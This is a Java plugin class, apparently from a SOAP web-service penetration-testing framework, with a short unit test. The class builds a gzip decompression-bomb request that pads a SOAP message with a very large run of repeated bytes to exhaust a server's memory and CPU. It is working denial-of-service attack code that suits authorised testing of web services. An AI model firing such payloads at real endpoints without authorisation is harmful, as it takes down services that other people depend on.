Compression extends AbstractDosPlugin { @Override public void createTamperedRequest() { StringBuilder sb = new StringBuilder( "" ); String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); String[] soapMessageParts = soapMessage.split( "\\$\\$PAYLOADELEMENT\\$\\$" ); ByteArrayOutputStream baos = new ByteArrayOutputStream(); try { GZIPOutputStream gzos = new GZIPOutputStream( baos ); gzos.write( soapMessageParts[0].getBytes( "UTF-8" ) ); byte[] buffer = new byte[1024]; Arrays.fill( buffer, (byte) this.getOptionUsedPayloadChar().getValue().charAt( 0 ) ); for ( int i = 0; i < getOptionLengthOfPayload().getValue() * 1000; i++ ) { gzos.write( buffer, 0, 1024 ); } gzos.write( soapMessageParts[1].getBytes( "UTF-8" ) ); } catch ( UnsupportedEncodingException e ) { log().warn( e ); } catch ( IOException e ) { log().warn( e ); } Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } httpHeaderMap.put( "Content-Encoding", "gzip" ); this.setTamperedRequestObject( new RequestObject( baos.toByteArray(), getOriginalRequest().getEndpoint(), httpHeaderMap ) ); }  @Override void initializeDosPlugin(); AbstractOptionInteger getOptionLengthOfPayload(); AbstractOptionVarchar getOptionUsedPayloadChar(); @Override OptionTextAreaSoapMessage.PayloadPosition getPayloadPosition(); void initData(); @Override void createTamperedRequest();  }
@Test public void testCreateTamperedRequest() { t.testCreateTamperedRequest( attackPlugin ); }